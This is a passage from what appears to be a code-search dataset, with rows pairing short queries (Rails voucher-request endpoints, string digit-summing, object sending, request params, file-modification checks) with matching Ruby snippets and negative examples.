query
stringlengths 7
9.5k
| document
stringlengths 10
1.07M
| negatives
sequencelengths 19
19
| metadata
dict |
---|---|---|---|
GET /voucher_requests GET /voucher_requests.json | def index
@voucher_requests = VoucherRequest.all
end | [
"def requests\n @bills = Bill.where :approved => false\n\n respond_to do |format|\n format.html # requests.html.erb\n format.json { render json: @bills }\n end\n end",
"def volunter_by_me\n @requests = @current_user.volunters.map(&:request)\n json_response(@requests)\n end",
"def index\n @requests = @user.requests\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end",
"def index\n @borrow_requests = current_user.borrow_requests.actionable\n @pending_approvals = current_user.approvals.where(\"status = 'pending'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @borrow_requests }\n end\n end",
"def index\n @api_v1_mentoring_requests = Api::V1::MentoringRequest.all\n end",
"def index\n @customer_requests = CustomerRequest.all\n end",
"def index\n @requests = Request.all\n\n render json: @requests\n end",
"def index\n @gift_requests = GiftRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gift_requests }\n end\n end",
"def index\n #@receipts = Receipt.all\n #token = ApiToken.find_by(hex_value: @token_string )\n @receipts = Receipt.where(store_id: current_user.id)\n render json: @receipts\n # respond_to do |format|\n # format.json { render json: @receipts }\n #end\n end",
"def index\n @requests = Request.all\n render json: @requests, status: :ok\n end",
"def withdrawal_requests\n private_request 'withdrawal_requests'\n end",
"def index\n @travel_requests = TravelRequest.where user_id: current_user.id\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @travel_requests }\n end\n end",
"def index\n @rental_requests = RentalRequest.all\n end",
"def index\n @vacation_requests = VacationRequest.all\n end",
"def requests\n @veteran = Veteran.find(params[:id])\n requesters = @veteran.followers - @veteran.follows\n render json: requesters\n end",
"def get_requests\n @requests\n end",
"def approver_transactions\n\ttransactions = Transaction.find_by approver_id: params[:id]\n\trender json: transactions, status: 200\n end",
"def index\n @prayerrequests = Prayerrequest.all\n end",
"def index\n @vouchers = Voucher.all\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
POST /voucher_requests POST /voucher_requests.json | def create
@voucher_request = VoucherRequest.new(voucher_request_params)
respond_to do |format|
if @voucher_request.save
format.html { redirect_to @voucher_request, notice: 'Voucher request was successfully created.' }
format.json { render :show, status: :created, location: @voucher_request }
else
format.html { render :new }
format.json { render json: @voucher_request.errors, status: :unprocessable_entity }
end
end
end | [
"def create_voucher!(voucher)\n params = {\n \"clientId\": voucher.client_id,\n \"creatingBranchId\": voucher.creating_branch_id,\n \"expiryDate\": \"2020-10-28T11:27:49.048Z\",\n \"issueDate\": \"2020-09-28T11:27:49.048Z\",\n \"originalBalance\": voucher.original_balance,\n \"serialNumber\": voucher.serial_number\n }\n #self.class.post('/voucher', body: params)\n {\n clientId: voucher.client_id,\n voucherId: SecureRandom.uuid\n }\n end",
"def registrar_voucher_request_json\n # now build our voucher request from the one we got.\n vreq = Chariwt::VoucherRequest.new\n vreq.signing_cert = FountainKeys.ca.jrc_pub_key\n vreq.nonce = nonce\n vreq.serialNumber = device_identifier\n vreq.createdOn = created_at\n vreq.assertion = :proximity\n vreq.priorSignedVoucherRequest = pledge_request\n self.request = vreq\n jwt = vreq.jose_sign(FountainKeys.ca.jrc_priv_key)\n end",
"def index\n @voucher_requests = VoucherRequest.all\n end",
"def create\n total_volunteers = Volunteer.where(request_id: params[:request_id])\n # mark the request as fulfilled on the 5th volunteer\n if total_volunteers.length() == 4\n #update request\n the_request = Request.find_by_id(params[:request_id])\n the_request.status = 1\n if the_request.save\n # add vol\n volunteer = Volunteer.new({request_id: params[:request_id], requester_id: params[:requester_id], user_id: @current_user.id})\n if volunteer.save\n render json: {\n status: 'success',\n message: 'Your volunteering was successful',\n data: volunteer,\n },\n status: :created\n else\n render json: {\n status: 'error',\n message: 'Volunteering not saved',\n data: volunteer.errors\n },\n status: :unprocessable_entity\n end\n else\n render json: {\n status: 'error',\n message: 'Volunteering not saved',\n data: volunteer.errors\n },\n status: :unprocessable_entity\n end\n\n else\n # add vol only\n # if no duplicate then create the volunteer\n volunteer = Volunteer.new({request_id: params[:request_id], requester_id: params[:requester_id], user_id: @current_user.id})\n if volunteer.save\n render json: {\n status: 'success',\n message: 'Your volunteering was successful',\n data: volunteer,\n },\n status: :created\n else\n render json: {\n status: 'error',\n message: 'Volunteering not saved',\n data: volunteer.errors\n },\n status: :unprocessable_entity\n end\n end\n end",
"def post_billing_codes\n\t\tid = params[:id]\n\t\t#user_token = params[:user_token]\n\t\turl = \"https://sdpm-appointment-service.herokuapp.com/appointment/#{id}/billing_codes\"\n\t\tresponse = RestClient::Request.execute(\n \t\tmethod: :post, \n \t\t\turl: url,\n \t\t\tpayload: {billing_codes: params[:billing_codes].to_json}\n\t\t)\n\n\t\trender :json => response\n\tend",
"def create\n @voucher = Voucher.new(voucher_params)\n\n respond_to do |format|\n if @voucher.save\n format.html { redirect_to admin_deals_vouchers_url, notice: 'Voucher was successfully created.' }\n format.json { render action: 'show', status: :created, location: @voucher }\n else\n format.html { render action: 'new' }\n format.json { render json: @voucher.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vacation_request = current_user.vacation_requests.build(vacation_request_params)\n\n term_input\n\n respond_to do |format|\n if @vacation_request.save\n format.html { redirect_to vacation_requests_url, notice: '休暇届を作成しました' }\n format.json { render :show, status: :ok, location: @vacation_request }\n else\n ## 1度エラーが出た後、新規登録した時に、indexのリストに表示されないバグを暫定的に対応 ##\n format.html { redirect_to new_vacation_request_path, notice: '正しい値を入力してください.' }\n ## format.html { render :new }\n format.json { render json: @vacation_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @customer_request = CustomerRequest.new(customer_request_params)\n\n respond_to do |format|\n if @customer_request.save\n format.html { redirect_to @customer_request, notice: 'Customer request was successfully created.' }\n format.json { render :show, status: :created, location: @customer_request }\n else\n format.html { render :new }\n format.json { render json: @customer_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_request\n return \"204\" if self.suppressed?\n uri = URI.parse(\"#{self.base_request_url}/patrons/#{self.patron_id}/holds/requests\")\n\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"Authorization\"] = \"Bearer #{self.bearer}\"\n\n request.body = JSON.dump({\n \"recordType\" => \"i\", #TODO: This may change at a later date, but for now we are only doing item requests. KAK.\n \"recordNumber\" => self.record_number.to_i,\n \"pickupLocation\" => self.pickup_location\n })\n $logger.debug \"Posting hold-request: #{request.body} to #{uri}\"\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n read_timeout: 10\n }\n\n begin\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n rescue Exception => e\n $logger.error \"Sierra post_request error: #{e.message}\"\n response = TimeoutResponse.new\n end\n\n $logger.debug \"Sierra Post request response code: #{response.code}, response: #{response.body}\"\n response # returns empty content, either code 204 if success, 404 if not found, or 500 if error, so passing code along.\n end",
"def do_coaps_posted_03\n # get the Base64 of the incoming signed request\n body = IO.read(\"spec/files/vr_00-D0-E5-F2-00-03.vrq\")\n\n env = Hash.new\n env[\"SSL_CLIENT_CERT\"] = cbor_clientcert_03\n env[\"HTTP_ACCEPT\"] = \"application/voucher-cose+cbor\"\n env[\"CONTENT_TYPE\"] = \"application/voucher-cose+cbor\"\n\n $FAKED_TEMPORARY_KEY = temporary_key\n post '/e/rv', :params => body, :headers => env\n end",
"def create(customer_id, options = nil)\n request = Request.new(@client)\n path = \"/authorization-requests\"\n data = {\n \"name\"=> @name, \n \"currency\"=> @currency, \n \"return_url\"=> @return_url, \n \"cancel_url\"=> @cancel_url, \n \"custom\"=> @custom, \n 'customer_id'=> customer_id\n }\n\n response = Response.new(request.post(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"authorization_request\"]\n \n \n return_values.push(self.fill_with_data(body))\n \n\n \n return_values[0]\n end",
"def create\n @visit_request = VisitRequest.new(visit_request_params)\n @visit_request.approved = false\n respond_to do |format|\n if @visit_request.save\n format.html { redirect_to @visit_request, notice: 'Visit request was successfully created.' }\n format.json { render :show, status: :created, location: @visit_request }\n else\n format.html { render :new }\n format.json { render json: @visit_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_voucher = Admin::Voucher.new(admin_voucher_params)\n\n respond_to do |format|\n if @admin_voucher.save\n format.html { redirect_to admin_vouchers_path, notice: 'Voucher was successfully created.' }\n format.json { render :show, status: :created, location: @admin_voucher }\n else\n format.html { render :new }\n format.json { render json: @admin_voucher.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_requests\n @request = Requests.new(@txn_name, self.config, self.name, self.probability, self.type)\n end",
"def requests\n @bills = Bill.where :approved => false\n\n respond_to do |format|\n format.html # requests.html.erb\n format.json { render json: @bills }\n end\n end",
"def update\n respond_to do |format|\n if @voucher_request.update(voucher_request_params)\n format.html { redirect_to @voucher_request, notice: 'Voucher request was successfully updated.' }\n format.json { render :show, status: :ok, location: @voucher_request }\n else\n format.html { render :edit }\n format.json { render json: @voucher_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vacation_request = VacationRequest.new(vacation_request_params)\n\n respond_to do |format|\n if @vacation_request.save\n format.html { redirect_to @vacation_request, notice: 'Vacation request was successfully created.' }\n format.json { render :show, status: :created, location: @vacation_request }\n else\n format.html { render :new }\n format.json { render json: @vacation_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def request_post\n # purpose_type: profile ID of\n # https://certs.nii.ac.jp/archive/TSV_File_Format/client_tsv/\n\n # S/MIME-multiple-application guard (failsafe)\n smime_num = Cert.where(user_id: current_user.id, purpose_type: 7, state: Cert::State::NEW_GOT_SERIAL).count() # FIXME: rewrite to cover multiple states\n if (smime_num > 0)\n return # FIXME: need error message\n end\n\n ActiveRecord::Base.transaction do \n current_user.cert_serial_max += 1\n current_user.save # TODO: need error check\n end \n \n case params[:cert][\"purpose_type\"].to_i\n when Cert::PurposeType::CLIENT_AUTH_CERTIFICATE\n dn = \"CN=#{current_user.uid},OU=No #{current_user.cert_serial_max.to_s},\" + SHIBCERT_CONFIG[Rails.env]['base_dn']\n\n when Cert::PurposeType::SMIME_CERTIFICATE\n dn = \"CN=#{current_user.name},\" + SHIBCERT_CONFIG[Rails.env]['base_dn']\n else\n # something wrong. TODO: need error handling\n Rails.logger.info \"#{__method__}: unknown purpose_type #{params[:cert]['purpose_type']}\"\n dn = \"\"\n end\n \n request_params = params.require(:cert).permit(:purpose_type).merge(\n {user_id: current_user.id,\n state: Cert::State::NEW_REQUESTED_FROM_USER,\n dn: dn,\n req_seq: current_user.cert_serial_max})\n @cert = Cert.new(request_params)\n @cert.save\n\n Rails.logger.debug \"RaReq.request call: @cert = #{@cert.inspect}\"\n RaReq.request(@cert)\n \n redirect_to request_result_path(@cert.id)\n end",
"def create\n @review_request = ReviewRequest.new(review_request_params)\n\n respond_to do |format|\n if @review_request.save\n format.html { redirect_to \"/datasets/#{@review_request.dataset_key}\", notice: 'Review request was successfully created.' }\n format.json { render :show, status: :created, location: @review_request }\n else\n format.html { render :new }\n format.json { render json: @review_request.errors, status: :unprocessable_entity }\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
PATCH/PUT /voucher_requests/1 PATCH/PUT /voucher_requests/1.json | def update
respond_to do |format|
if @voucher_request.update(voucher_request_params)
format.html { redirect_to @voucher_request, notice: 'Voucher request was successfully updated.' }
format.json { render :show, status: :ok, location: @voucher_request }
else
format.html { render :edit }
format.json { render json: @voucher_request.errors, status: :unprocessable_entity }
end
end
end | [
"def update\n respond_to do |format|\n @box_request.reviewed_by_id = current_user.id if @box_request.reviewed_by_id == nil\n if @box_request.aasm_state == \"requested\"\n @box_request.claim_review!\n @box_request.complete_review!\n elsif @box_request.aasm_state == \"review_in_progress\"\n @box_request.complete_review!\n end\n\n if @box_request.update(box_request_params)\n format.html { redirect_to box_requests_path, notice: 'Box request was successfully updated.' }\n format.json { render :show, status: :ok, location: @box_request }\n else\n format.html { render :edit }\n format.json { render json: @box_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch *args\n make_request :patch, *args\n end",
"def update\n @request_for_change.set_manager(force: true)\n @request_for_change.set_security_officer(force: true)\n\n respond_to do |format|\n if @request_for_change.update(request_for_change_params)\n format.html { redirect_to edit_request_for_change_path(@request_for_change), notice: 'Request for change was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_for_change.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @requests_complaints_request = RequestsComplaints::Request.find(params[:id])\n\n respond_to do |format|\n if @requests_complaints_request.update_attributes(params[:requests_complaints_request])\n format.html { redirect_to(@requests_complaints_request, :notice => 'Request was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @requests_complaints_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n request = Request.find_by_id(params[:id])\n if request\n request.status = 1\n if request.save\n render json: {\n status: 'success',\n message: 'Request marked as fulfilled',\n },\n status: :ok\n else\n render json: {\n status: 'error',\n message: 'Request failed',\n data: request.errors,\n },\n status: :unprocessable_entity\n end\n else\n render status: :unauthorized\n end\n end",
"def update\n respond_to do |format|\n if @prayer_request.update(prayer_request_params)\n format.html { redirect_to @prayer_request, notice: 'Prayer request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prayer_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @my_prayer_request = PrayerRequest.find(params[:id])\n\n respond_to do |format|\n if @my_prayer_request.update_attributes(params[:my_prayer_request])\n format.html { redirect_to @my_prayer_request, notice: 'My prayer request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_prayer_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gift_request = GiftRequest.find(params[:id])\n \n respond_to do |format|\n if @gift_request.update_attributes(params[:gift_request])\n format.html { redirect_to @gift_request, notice: 'Gift request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gift_request.errors.full_messages.to_sentence, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pending_request = PendingRequest.find(params[:id])\n\n respond_to do |format|\n if @pending_request.update_attributes(params[:pending_request])\n format.html { redirect_to @pending_request, notice: 'Pending request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pending_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @customer_request.update(customer_request_params)\n format.html { redirect_to @customer_request, notice: 'Customer request was successfully updated.' }\n format.json { render :show, status: :ok, location: @customer_request }\n else\n format.html { render :edit }\n format.json { render json: @customer_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vacation_request.update(vacation_request_params)\n format.html { redirect_to @vacation_request, notice: 'Vacation request was successfully updated.' }\n format.json { render :show, status: :ok, location: @vacation_request }\n else\n format.html { render :edit }\n format.json { render json: @vacation_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gift_request = GiftRequest.find(params[:id])\n\n respond_to do |format|\n if @gift_request.update_attributes(params[:gift_request])\n format.html { redirect_to @gift_request, notice: 'Gift request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gift_request.errors.full_messages.to_sentence, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prayer_request = PrayerRequest.find(params[:id])\n\n respond_to do |format|\n if @prayer_request.update_attributes(params[:prayer_request])\n format.html { redirect_to @prayer_request, notice: 'Prayer request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prayer_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vacancy_request.update(vacancy_request_params)\n format.html { redirect_to @vacancy_request, notice: 'Vacancy request was successfully updated.' }\n format.json { render :show, status: :ok, location: @vacancy_request }\n else\n format.html { render :edit }\n format.json { render json: @vacancy_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @boxrequest = Boxrequest.find(params[:id])\n\n respond_to do |format|\n if @boxrequest.update_attributes(params[:boxrequest])\n format.html { redirect_to @boxrequest, notice: 'Boxrequest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @boxrequest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_pending.update(api_v1_pending_params)\n format.html { redirect_to @api_v1_pending, notice: 'Pending was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_pending }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_pending.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @particular_vacancy_request.update(particular_vacancy_request_params)\n format.html { redirect_to @particular_vacancy_request, notice: 'Particular vacancy request was successfully updated.' }\n format.json { render :show, status: :ok, location: @particular_vacancy_request }\n else\n format.html { render :edit }\n format.json { render json: @particular_vacancy_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @requests_request_commentary = Requests::RequestCommentary.find(params[:id])\n\n respond_to do |format|\n if @requests_request_commentary.update_attributes(params[:requests_request_commentary])\n format.html { redirect_to(@requests_request_commentary, :notice => 'Request commentary was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @requests_request_commentary.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @change_request.update(change_request_params)\n format.html { redirect_to @change_request, notice: 'Change request was successfully updated.' }\n format.json { render :show, status: :ok, location: @change_request }\n else\n format.html { render :edit }\n format.json { render json: @change_request.errors, status: :unprocessable_entity }\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
DELETE /voucher_requests/1 DELETE /voucher_requests/1.json | def destroy
@voucher_request.destroy
respond_to do |format|
format.html { redirect_to voucher_requests_url, notice: 'Voucher request was successfully destroyed.' }
format.json { head :no_content }
end
end | [
"def delete\n RestClient.delete \"#{@uri}/api/requests/request/#{@data['requestId']||@data['id']}\"\n puts ' Deleted request: '.red + \"#{@data['requestId']||@data['id']}\".light_blue\n end",
"def destroy\n @ref_consult_request = RefConsultRequest.find(params[:id])\n @ref_consult_request.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_consult_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_request.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recuest = Recuest.find(params[:id])\n @recuest.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @voucher = Voucher.find(params[:id])\n @voucher.destroy\n\n respond_to do |format|\n format.html { redirect_to vouchers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @voucher.destroy\n respond_to do |format|\n format.html { redirect_to vouchers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @voucher = Voucher.find(params[:id])\n @voucher.destroy\n\n respond_to do |format|\n format.html { redirect_to vouchers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n render status: 200, json: @request_item.destroy\n end",
"def destroy\n @purchase_request = Purchase::Request.find(params[:id])\n @purchase_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(purchase_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_mentoring_request.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_mentoring_requests_url, notice: 'Mentoring request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @req = Req.find(params[:id])\n @req.destroy\n\n respond_to do |format|\n format.html { redirect_to reqs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prayer_request.destroy\n respond_to do |format|\n format.html { redirect_to prayer_requests_url }\n format.json { head :no_content }\n end\n end",
"def delete_request\n client.create_request('DELETE', url_path)\n end",
"def destroy\n @borrow_request = BorrowRequest.find(params[:id])\n @borrow_request.destroy\n\n respond_to do |format|\n format.html { redirect_to borrow_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cust_iti_request.destroy\n respond_to do |format|\n format.html { redirect_to cust_iti_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_request.destroy\n respond_to do |format|\n format.html { redirect_to purchase_requests_url, notice: 'Purchase request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@service_request = ServiceRequest.find(params[:id])\n @service_request.destroy\n\n respond_to do |format|\n format.html { redirect_to service_requests_url }\n format.json { head :no_content }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Sends a ruby object over the network | def send_object obj
data = serializer.dump(obj)
send_data [data.respond_to?(:bytesize) ? data.bytesize : data.size, data].pack('Na*')
end | [
"def send_object(obj); end",
"def send_object(object)\n case client.protocol\n when :json\n driver.text(object.to_json)\n when :msgpack\n driver.binary(object.to_msgpack.unpack('C*'))\n else\n client.logger.fatal { \"WebsocketTransport: Unsupported protocol '#{client.protocol}' for serialization, object cannot be serialized and sent to Ably over this WebSocket\" }\n end\n end",
"def send_object obj\n data = serializer.dump(obj)\n send_data [data.respond_to?(:bytesize) ? data.bytesize : data.size, data].pack('Na*')\n end",
"def write_object(object)\n @encoder.encode(object, @sock)\n end",
"def write_berp(obj)\n socket.write(Client.create_berp(obj))\n end",
"def send_object(obj, options={})\n if obj.is_a? ServerException\n self.send_error(obj)\n return\n end #if\n json = case\n when obj.respond_to?(:to_json)\n obj.to_json\n when obj.respond_to?(:to_shared)\n obj.to_shared.to_json\n else\n nil\n end #case\n if json.nil?\n raise ArgumentError, \"The #{obj.class.name} object being sent \" +\n \"does not support the to_json or to_shared methods.\"\n return\n end #if\n self.send_header(options)\n self.send_bytes(json)\n end",
"def send_binary data\n send data, :binary\n end",
"def send(data={})\n binary_data = build_binary_data data\n @conn.send_datagram binary_data, Xplane.config.xplane_host, Xplane.config.xplane_port\n end",
"def send_message message\n dump = Marshal.dump message\n self.send dump, 0\n end",
"def send(*args); __send__(*args); end",
"def send(data)\n @client.write JSON.generate(data)\n end",
"def send_packet(type, *args); end",
"def send_binary(data)\n @driver.binary(data)\n end",
"def send_node; end",
"def output_to_socket(socket, object)\n AllGems.logger.debug(\"Sending object: #{object} to socket: #{socket}\")\n socket.puts object.to_json\n end",
"def send_raw(data)\n socket.send_raw data\n end",
"def send(data)\n @socket.send(data, 0)\n end",
"def send_raw(data)\n # puts \"Sending data\"\n # puts_data(data)\n write(data)\n end",
"def send_json label, obj\n # parse before send in case of issues\n message = obj.to_json\n @publisher.send_string label, ZMQ::SNDMORE\n @publisher.send_string message\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
search for all the numbers in the string, add them together, then return that final number. For example: if str is "88Hello 3World!" the output should be 91. You will have to differentiate between single digit numbers and multiple digit numbers like in the example above. So "55Hello" and "5Hello 5" should return two different answers. Each string will contain at least one letter or symbol. | def NumberAddition(str)
str.scan(/\d+/).map(&:to_i).sum
end | [
"def sum_of_numbers_in_string(str)\n str.scan(/\\d+/).map { |chars| chars.to_i }.reduce(0, :+)\nend",
"def NumberAddition(str)\n str.downcase.split(/[^\\d]/).inject(0) { |sum, x| sum + x.to_i } \nend",
"def NumberAddition(str)\n\n str.gsub!(/[^0-9]/, \" \")\n arr = str.split(\" \")\n sum = 0\n arr.each do |x|\n sum += x.to_i\n end\n return sum\n \nend",
"def sum_of_integers(string)\n num_as_str = (0..9).to_a.map(&:to_s)\n integer_array = string.chars.select {|char| num_as_str.include?(char)}.map(&:to_i)\n integer_array.reduce(:+)\nend",
"def sum_digits(str)\n str.split(\"\").map(&:to_i).inject(0) { |a, b| a + b }\n end",
"def NumberSearch(str)\n numbers_total = 0\n str.scan(/\\d+/).each {|number| numbers_total += number.to_i}\n total = numbers_total.to_f / str.scan(/[a-zA-Z]/).count.to_f\n total.round\nend",
"def number_search(str)\n letter_count = 0\n str.each_char do |char|\n letter_count += 1 if char =~ /[a-zA-Z]/\n end\n sum = str.scan(/\\d/).map(&:to_i).reduce(:+).to_f\n (sum / letter_count).round\nend",
"def string_sum(string)\n letters = ('a'..'z').to_a\n sum = 0\n string.split(\"\").each{|x| sum += letters.index(x) + 1}\n sum \nend",
"def sum_embedded_numbers_imperatively(str)\n sum = 0\n current_val = nil\n\n str.chars do |c|\n if (Integer(c) rescue false)\n current_val = current_val ? current_val << c : c\n elsif current_val\n sum += current_val.to_i\n current_val = nil\n end\n end\n sum += current_val.to_i\n sum\nend",
"def get_sum_one(str)\n sum = 0\n str.scan(/(-?\\d+)/).each { |item| sum += item[0].to_i }\n sum\nend",
"def nar_num(str)\n if /^(?<num>\\d+)$/ =~ str #use regex to see if input is all digits\n array_of_numbers = str.split(\"\")\n str_length = str.length\n sum = 0\n\n array_of_numbers.each do |num|\n sum += num.to_i**str_length\n end\n\n return sum == str.to_i\n else\n puts \"not a string of numbers\"\n end\nend",
"def NumberSearch(str)\n nums = str.split(\"\").select{|chr| chr.to_i != 0}\n return 0 if nums.empty?\n letters = str.downcase.split(\"\").select{|chr| chr =~ /[a-z]/}\n (nums.map!{|num| num.to_f}.inject(:+) / letters.length.to_f).round\nend",
"def string_sum(string)\n sum = 0\n alphabet = (\"a\"..\"z\").to_a\n string.each_char { |ch| sum += alphabet.index(ch) + 1 }\n sum\nend",
"def nar_num(str)\n # if /^(?<num>\\d+)$/ =~ str\n array_of_numbers = str.split('')\n str_length = str.length\n sum = 0\n array_of_numbers.each do |num|\n sum += num.to_i ** str_length\n end\n return sum == str.to_i\n # else\n # puts \"not a string of numbers\"\n # end\nend",
"def string_to_integer(string)\n digits_string = string.chars\n\n digits_num = []\n\n digits_string.each do |digit|\n (0..9).each do |num|\n if digit == num.to_s\n digits_num << num\n end\n end\n end\n\n # number = 0\n\n # # digits_num.each_with_index do |num, index|\n # # number += num * 10**(digits_num.size - 1 - index)\n # # end\n\n\n digits_num.reduce(0) do |sum, value|\n 10 * sum + value\n end\nend",
"def string_sum(string)\n string = string.downcase\n sum = 0\n string.each_char do |char|\n sum+=convert(char)\n end\n sum\nend",
"def string_sum(string)\n sum = 0\n alphabets = (\"a\"..\"z\").to_a\n string.chars.each do |ch|\n sum += alphabets.index(ch) + 1\n end\n sum\nend",
"def can_add_numbers_when_given_strings(num1, num2)\n return num1.to_i + num2.to_i\nend",
"def sum(number)\n number.to_s.chars.map(&:to_i).reduce(:+)\n \nend"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Sorry but the way the params are received by Sinatra is kind of ugly so I needed to turn do this. In the actions, use `real_params` instead of `params` | def real_params
JSON.parse params.first.first
end | [
"def params; @params ||= destructure(request.params); end",
"def params\n # endpoint.declared(endpoint.params)\n @params = \"#{env['QUERY_STRING']}_#{env[Grape::Env::RACK_INPUT].read}\"\n end",
"def params(*) end",
"def extract_params!(request); end",
"def action_params(verb, params)\n action_param_key = ((verb == :get) ? :query : :body)\n action_params = (params[action_param_key] || {})\n action_params[:uh] ||= modhash if (logged_in? && verb == :post)\n {action_param_key => action_params}\n end",
"def pagy_get_params(params) params end",
"def on_params(requireds, optionals, rest, posts, keywords, keyword_rest, block); end",
"def params\n @params ||= self.GET.merge(self.POST)\n rescue EOFError\n self.GET\n end",
"def quote_params(params); end",
"def params\n $cuca.value[:request].params\n# $app.cgi.parameters\n end",
"def params\n @_params ||= ActionController::ManagebleParameters.new(request.parameters)\n end",
"def params_to_api_args(type)\n args = params.to_unsafe_h.symbolize_keys.except(:controller)\n args[:method] = request.method\n args[:action] = type\n args.delete(:format)\n args\n end",
"def go(**params) # => would accept ONLY hashes, would accept w/o any argument\n p params\n # puts params.inspect\nend",
"def get_params(env)\n req = ActionDispatch::Request.new(env)\n req.GET.merge(req.POST)\n end",
"def process_params(args = {})\r\n args ||= {}\r\n end",
"def convert_params_in_situ(env, req)\n env['si.original_params'] = req.params.dup\n req.params.each do |name, value|\n if herbalization = herbalize(name, value)\n req.update_param name, herbalization\n end\n end\n end",
"def request(action, params = T.unsafe(nil), header = T.unsafe(nil), query = T.unsafe(nil)); end",
"def prepare_params\n \n end",
"def params\n read_attribute(:params) || begin \n write_attribute(:params, {} )\n read_attribute(:params)\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
check if a file is modified or its dependency is modified | def file_modified?(file)
if $file_target_dict[file].class == FileTarget
# 文件真正被修改:文件之前不存在,或文件现在已经不存在,或时间戳修改
real_modified = $file_time_dict[file] == nil || !File.exist?(file) || ($file_time_dict[file] != File.mtime(file))
# 文件依赖被修改
return real_modified || $file_target_dict[file].depend_modified?
elsif $file_target_dict[file].class == PhonyTarget
# 假目标被修改:依赖被修改或之前不存在
return $file_time_dict[file] == nil || $file_target_dict[file].depend_modified?
elsif $file_target_dict[file] == nil
# 对无目标的文件,判断其存在,存在则直接使用即可
if !File.exist?(file)
raise "file not found #{file}"
else
